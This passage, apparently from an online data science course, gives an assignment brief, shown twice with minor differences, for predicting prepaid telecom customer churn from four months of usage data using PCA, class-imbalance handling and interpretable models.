respectively. The business objective is to predict the churn in the last (i.e. the ninth) month using the data (features) from the first three months. To do this task well, understanding the typical customer behaviour during churn will be helpful. Understanding customer behaviour during churn Customers usually do not decide to switch to another competitor instantly, but rather over a period of time (this is especially applicable to high-value customers). In churn prediction, we assume that there are three phases of customer lifecycle : The ‘good’ phase: In this phase, the customer is happy with the service and behaves as usual. The ‘action’ phase: The customer experience starts to sore in this phase, for e.g. he/she gets a compelling offer from a competitor, faces unjust charges, becomes unhappy with service quality etc. In this phase, the customer usually shows different behaviour than the ‘good’ months. Also, it is crucial to identify high-churn-risk customers in this phase, since some corrective actions can be taken at this point (such as matching the competitor’s offer/improving the service quality etc.) The ‘churn’ phase: In this phase, the customer is said to have churned. You define churn based on this phase. Also, it is important to note that at the time of prediction (i.e. the action months), this data is not available to you for prediction. Thus, after tagging churn as 1/0 based on this phase, you discard all data corresponding to this phase. In this case, since you are working over a four-month window, the first two months are the ‘good’ phase, the third month is the ‘action’ phase, while the fourth month is the ‘churn’ phase. Data dictionary The dataset can be download using this link. The data dictionary is provided for download below. Data Dictionary - Telecom Churn Download The data dictionary contains meanings of abbreviations. Some frequent ones are loc (local), IC (incoming), OG (outgoing), T2T (telecom operator to telecom operator), T2O (telecom operator to another operator), RECH (recharge) etc. The attributes containing 6, 7, 8, 9 as suffixes imply that those correspond to the months 6, 7, 8, 9 respectively. Data Preparation The following data preparation steps are crucial for this problem: 1. Derive new features This is one of the most important parts of data preparation since good features are often the differentiators between good and bad models. Use your business understanding to derive features you think could be important indicators of churn. 2. Filter high-value customers As mentioned above, you need to predict churn only for the high-value customers. Define high-value customers as follows: Those who have recharged with an amount more than or equal to X, where X is the 70th percentile of the average recharge amount in the first two months (the good phase). After filtering the high-value customers, you should get about 29.9k rows. 3. Tag churners and remove attributes of the churn phase Now tag the churned customers (churn=1, else 0) based on the fourth month as follows: Those who have not made any calls (either incoming or outgoing) AND have not used mobile internet even once in the churn phase. The attributes you need to use to tag churners are: total_ic_mou_9 total_og_mou_9 vol_2g_mb_9 vol_3g_mb_9 After tagging churners, remove all the attributes corresponding to the churn phase (all attributes having ‘ _9’, etc. in their names). Modelling Build models to predict churn. The predictive model that you’re going to build will serve two purposes: It will be used to predict whether a high-value customer will churn or not, in near future (i.e. churn phase). By knowing this, the company can take action steps such as providing special plans, discounts on recharge etc. It will be used to identify important variables that are strong predictors of churn. These variables may also indicate why customers choose to switch to other networks. In some cases, both of the above-stated goals can be achieved by a single machine learning model. But here, you have a large number of attributes, and thus you should try using a dimensionality reduction technique such as PCA and then build a predictive model. After PCA, you can use any classification model. Also, since the rate of churn is typically low (about 5-10%, this is called class-imbalance) - try using techniques to handle class imbalance. You can take the following suggestive steps to build the model: Preprocess data (convert columns to appropriate formats, handle missing values, etc.) Conduct appropriate exploratory analysis to extract useful insights (whether directly useful for business or for eventual modelling/feature engineering). Derive new features. Reduce the number of variables using PCA. Train a variety of models, tune model hyperparameters, etc. (handle class imbalance using appropriate techniques). Evaluate the models using appropriate evaluation metrics. Note that it is more important to identify churners than the non-churners accurately - choose an appropriate evaluation metric which reflects this business goal. Finally, choose a model based on some evaluation metric. The above model will only be able to achieve one of the two goals - to predict customers who will churn. You can’t use the above model to identify the important features for churn. That’s because PCA usually creates components which are not easy to interpret. Therefore, build another model with the main objective of identifying important predictor attributes which help the business understand indicators of churn. A good choice to identify important variables is a logistic regression model or a model from the tree family. In case of logistic regression, make sure to handle multi-collinearity. After identifying important predictors, display them visually - you can use plots, summary tables etc. - whatever you think best conveys the importance of features. Finally, recommend strategies to manage customer churn based on your observations.
hebbarvn
In the telecom industry, customers are able to choose from multiple service providers and actively switch from one operator to another. In this highly competitive market, the telecommunications industry experiences an average of 15-25% annual churn rate. Given the fact that it costs 5-10 times more to acquire a new customer than to retain an existing one, customer retention has now become even more important than customer acquisition. For many incumbent operators, retaining high profitable customers is the number one business goal. To reduce customer churn, telecom companies need to predict which customers are at high risk of churn. In this project, you will analyse customer-level data of a leading telecom firm, build predictive models to identify customers at high risk of churn and identify the main indicators of churn. Understanding and Defining Churn There are two main models of payment in the telecom industry - postpaid (customers pay a monthly/annual bill after using the services) and prepaid (customers pay/recharge with a certain amount in advance and then use the services). In the postpaid model, when customers want to switch to another operator, they usually inform the existing operator to terminate the services, and you directly know that this is an instance of churn. However, in the prepaid model, customers who want to switch to another network can simply stop using the services without any notice, and it is hard to know whether someone has actually churned or is simply not using the services temporarily (e.g. someone may be on a trip abroad for a month or two and then intend to resume using the services again). Thus, churn prediction is usually more critical (and non-trivial) for prepaid customers, and the term ‘churn’ should be defined carefully. Also, prepaid is the most common model in India and southeast Asia, while postpaid is more common in Europe in North America. This project is based on the Indian and Southeast Asian market. Definitions of Churn There are various ways to define churn, such as: Revenue-based churn: Customers who have not utilised any revenue-generating facilities such as mobile internet, outgoing calls, SMS etc. over a given period of time. One could also use aggregate metrics such as ‘customers who have generated less than INR 4 per month in total/average/median revenue’. The main shortcoming of this definition is that there are customers who only receive calls/SMSes from their wage-earning counterparts, i.e. they don’t generate revenue but use the services. For example, many users in rural areas only receive calls from their wage-earning siblings in urban areas. Usage-based churn: Customers who have not done any usage, either incoming or outgoing - in terms of calls, internet etc. over a period of time. A potential shortcoming of this definition is that when the customer has stopped using the services for a while, it may be too late to take any corrective actions to retain them. For e.g., if you define churn based on a ‘two-months zero usage’ period, predicting churn could be useless since by that time the customer would have already switched to another operator. In this project, you will use the usage-based definition to define churn. High-value Churn In the Indian and the southeast Asian market, approximately 80% of revenue comes from the top 20% customers (called high-value customers). Thus, if we can reduce churn of the high-value customers, we will be able to reduce significant revenue leakage. In this project, you will define high-value customers based on a certain metric (mentioned later below) and predict churn only on high-value customers. Understanding the Business Objective and the Data The dataset contains customer-level information for a span of four consecutive months - June, July, August and September. The months are encoded as 6, 7, 8 and 9, respectively. The business objective is to predict the churn in the last (i.e. the ninth) month using the data (features) from the first three months. To do this task well, understanding the typical customer behaviour during churn will be helpful. Understanding Customer Behaviour During Churn Customers usually do not decide to switch to another competitor instantly, but rather over a period of time (this is especially applicable to high-value customers). In churn prediction, we assume that there are three phases of customer lifecycle : The ‘good’ phase: In this phase, the customer is happy with the service and behaves as usual. The ‘action’ phase: The customer experience starts to sore in this phase, for e.g. he/she gets a compelling offer from a competitor, faces unjust charges, becomes unhappy with service quality etc. In this phase, the customer usually shows different behaviour than the ‘good’ months. Also, it is crucial to identify high-churn-risk customers in this phase, since some corrective actions can be taken at this point (such as matching the competitor’s offer/improving the service quality etc.) The ‘churn’ phase: In this phase, the customer is said to have churned. You define churn based on this phase. Also, it is important to note that at the time of prediction (i.e. the action months), this data is not available to you for prediction. Thus, after tagging churn as 1/0 based on this phase, you discard all data corresponding to this phase. In this case, since you are working over a four-month window, the first two months are the ‘good’ phase, the third month is the ‘action’ phase, while the fourth month is the ‘churn’ phase. The data dictionary contains meanings of abbreviations. Some frequent ones are loc (local), IC (incoming), OG (outgoing), T2T (telecom operator to telecom operator), T2O (telecom operator to another operator), RECH (recharge) etc. The attributes containing 6, 7, 8, 9 as suffixes imply that those correspond to the months 6, 7, 8, 9 respectively. Data Preparation The following data preparation steps are crucial for this problem: 1. Derive new features This is one of the most important parts of data preparation since good features are often the differentiators between good and bad models. Use your business understanding to derive features you think could be important indicators of churn. 2. Filter high-value customers As mentioned above, you need to predict churn only for the high-value customers. Define high-value customers as follows: Those who have recharged with an amount more than or equal to X, where X is the 70th percentile of the average recharge amount in the first two months (the good phase). After filtering the high-value customers, you should get about 29.9k rows. 3. Tag churners and remove attributes of the churn phase Now tag the churned customers (churn=1, else 0) based on the fourth month as follows: Those who have not made any calls (either incoming or outgoing) AND have not used mobile internet even once in the churn phase. The attributes you need to use to tag churners are: total_ic_mou_9 total_og_mou_9 vol_2g_mb_9 vol_3g_mb_9 After tagging churners, remove all the attributes corresponding to the churn phase (all attributes having ‘ _9’, etc. in their names). Modelling Build models to predict churn. The predictive model that you’re going to build will serve two purposes: It will be used to predict whether a high-value customer will churn or not, in near future (i.e. churn phase). By knowing this, the company can take action steps such as providing special plans, discounts on recharge etc. It will be used to identify important variables that are strong predictors of churn. These variables may also indicate why customers choose to switch to other networks. In some cases, both of the above-stated goals can be achieved by a single machine learning model. But here, you have a large number of attributes, and thus you should try using a dimensionality reduction technique such as PCA and then build a predictive model. After PCA, you can use any classification model. Also, since the rate of churn is typically low (about 5-10%, this is called class-imbalance) - try using techniques to handle class imbalance. You can take the following suggestive steps to build the model: Preprocess data (convert columns to appropriate formats, handle missing values, etc.) Conduct appropriate exploratory analysis to extract useful insights (whether directly useful for business or for eventual modelling/feature engineering). Derive new features. Reduce the number of variables using PCA. Train a variety of models, tune model hyperparameters, etc. (handle class imbalance using appropriate techniques). Evaluate the models using appropriate evaluation metrics. Note that is is more important to identify churners than the non-churners accurately - choose an appropriate evaluation metric which reflects this business goal. Finally, choose a model based on some evaluation metric. The above model will only be able to achieve one of the two goals - to predict customers who will churn. You can’t use the above model to identify the important features for churn. That’s because PCA usually creates components which are not easy to interpret. Therefore, build another model with the main objective of identifying important predictor attributes which help the business understand indicators of churn. A good choice to identify important variables is a logistic regression model or a model from the tree family. In case of logistic regression, make sure to handle multi-collinearity. After identifying important predictors, display them visually - you can use plots, summary tables etc. - whatever you think best conveys the importance of features. Finally, recommend strategies to manage customer churn based on your observations. Note: Everything has to be submitted in one Jupyter notebook. The evaluation rubrics are mentioned on the next page.